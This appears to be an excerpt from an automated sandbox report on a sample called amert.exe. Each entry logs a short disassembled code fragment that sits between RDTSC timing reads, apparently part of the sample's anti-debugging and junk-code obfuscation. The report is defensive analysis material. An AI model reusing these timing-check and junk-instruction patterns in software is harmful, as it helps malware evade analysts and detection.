Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8620CC second address: 8620E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D7471B5E6h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8620E6 second address: 8620EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 86B312 second address: 86B338 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F0D7471B5E6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jl 00007F0D7471B5D6h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 86A181 second address: 86A186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 86A2D3 second address: 86A2F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D7471B5E9h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 86A2F0 second address: 86A310 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jmp 00007F0D755569C5h 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 86A310 second address: 86A316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 86A450 second address: 86A458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 86A458 second address: 86A46D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F0D7471B5D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F0D7471B5D6h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 86A46D second address: 86A47F instructions: 0x00000000 rdtsc 0x00000002 je 00007F0D755569B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F0D755569B6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 86A47F second address: 86A485 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 86AB30 second address: 86AB36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 871264 second address: 8712B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F0D7471B5DFh 0x0000000f jmp 00007F0D7471B5E4h 0x00000014 jmp 00007F0D7471B5E3h 0x00000019 popad 0x0000001a jnp 00007F0D7471B610h 0x00000020 pushad 0x00000021 push edx 0x00000022 pop edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 874421 second address: 874425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 874425 second address: 87443F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007F0D75558556h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnl 00007F0D75558556h 0x00000013 ja 00007F0D75558556h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 87443F second address: 874453 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 je 00007F0D755569D6h 0x00000009 jbe 00007F0D755569D6h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 874453 second address: 874457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 874457 second address: 87445D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 87445D second address: 874469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 873CC7 second address: 873CE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E8h 0x00000007 push esi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 87955F second address: 879575 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 ja 00007F0D75558556h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 js 00007F0D75558556h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 879575 second address: 879579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 879579 second address: 879581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 879581 second address: 87958B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F0D755569D6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 87958B second address: 879595 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0D75558556h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 879595 second address: 8795E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F0D755569D8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jnp 00007F0D755569DEh 0x00000015 pushad 0x00000016 popad 0x00000017 je 00007F0D755569D6h 0x0000001d jc 00007F0D755569DAh 0x00000023 push edx 0x00000024 pop edx 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 jmp 00007F0D755569E5h 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F0D755569DCh 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 879A18 second address: 879A20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 879A20 second address: 879A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 879A24 second address: 879A3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007F0D75558556h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F0D75558556h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 879A3A second address: 879A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 879A3E second address: 879A42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 879A42 second address: 879A48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 879A48 second address: 879A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F0D75558562h 0x00000010 jnl 00007F0D75558556h 0x00000016 jc 00007F0D75558556h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 879D2F second address: 879D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D755569DFh 0x00000009 popad 0x0000000a push edi 0x0000000b jmp 00007F0D755569E6h 0x00000010 jmp 00007F0D755569E7h 0x00000015 pop edi 0x00000016 jmp 00007F0D755569E7h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 879D8D second address: 879D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 827285 second address: 827293 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D755569DAh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 827293 second address: 82731B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F0D75558567h 0x00000010 mov ebx, dword ptr [ebp+1247B351h] 0x00000016 xor dword ptr [ebp+122D28F8h], edi 0x0000001c add eax, ebx 0x0000001e mov dword ptr [ebp+122D295Eh], ebx 0x00000024 sub edx, 57973125h 0x0000002a nop 0x0000002b pushad 0x0000002c push edi 0x0000002d push eax 0x0000002e pop eax 0x0000002f pop edi 0x00000030 push ebx 0x00000031 push edi 0x00000032 pop edi 0x00000033 pop ebx 0x00000034 popad 0x00000035 push eax 0x00000036 jbe 00007F0D7555855Ah 0x0000003c nop 0x0000003d or ecx, 5FFEA9EBh 0x00000043 push 00000004h 0x00000045 push 00000000h 0x00000047 push edi 0x00000048 call 00007F0D75558558h 0x0000004d pop edi 0x0000004e mov dword ptr [esp+04h], edi 0x00000052 add dword ptr [esp+04h], 00000015h 0x0000005a inc edi 0x0000005b push edi 0x0000005c ret 0x0000005d pop edi 0x0000005e ret 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F0D7555855Bh 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82731B second address: 827325 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0D755569D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 879F01 second address: 879F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D75558565h 0x00000009 pop edi 0x0000000a push esi 0x0000000b jnp 00007F0D75558556h 0x00000011 jmp 00007F0D75558568h 0x00000016 pop esi 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 87A0AF second address: 87A0B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 87D858 second address: 87D85E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8810BB second address: 8810C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8811EF second address: 8811FD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0D75558556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8811FD second address: 881207 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0D755569D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8814BF second address: 8814C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 889CE1 second address: 889CFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0D755569DDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jne 00007F0D755569D6h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 889CFE second address: 889D02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 889D02 second address: 889D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F0D755569DCh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 889D17 second address: 889D31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0D75558565h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 887F61 second address: 887F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8888FA second address: 8888FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8888FE second address: 888902 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 888902 second address: 888921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0D75558569h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 888BDC second address: 888BE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 888E55 second address: 888E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 888E5B second address: 888E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F0D755569E7h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 888E79 second address: 888E8B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0D7555855Ch 0x00000008 jno 00007F0D75558556h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 888E8B second address: 888E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 888E8F second address: 888E95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 889A1D second address: 889A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0D755569D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8932C9 second address: 8932D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8932D3 second address: 8932F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnp 00007F0D755569D8h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F0D755569E1h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8932F9 second address: 8932FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89245E second address: 892462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 892753 second address: 89275E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F0D75558556h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89275E second address: 89277C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E9h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89277C second address: 892788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 892788 second address: 89278E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89278E second address: 892796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 892796 second address: 89279B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8928EB second address: 8928F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8928F8 second address: 892917 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0D755569E2h 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 892D69 second address: 892D6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 892D6F second address: 892D8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D755569E8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 892EB9 second address: 892EBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 899D45 second address: 899D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89A2C1 second address: 89A2C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89A43F second address: 89A44F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0D755569DAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89A44F second address: 89A46F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0D75558569h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89A7A5 second address: 89A7D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569DBh 0x00000007 push eax 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F0D755569E5h 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89AB77 second address: 89AB7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89AB7F second address: 89AB93 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0D755569D6h 0x00000008 je 00007F0D755569D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89AB93 second address: 89AB97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89AB97 second address: 89ABB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0D755569D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F0D755569DAh 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89ABB1 second address: 89ABB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89B2B4 second address: 89B2BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89B2BB second address: 89B2D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 ja 00007F0D75558556h 0x0000000c popad 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0D7555855Bh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89B2D9 second address: 89B2DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 89987E second address: 899894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0D7555855Dh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 899894 second address: 8998CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0D755569E9h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
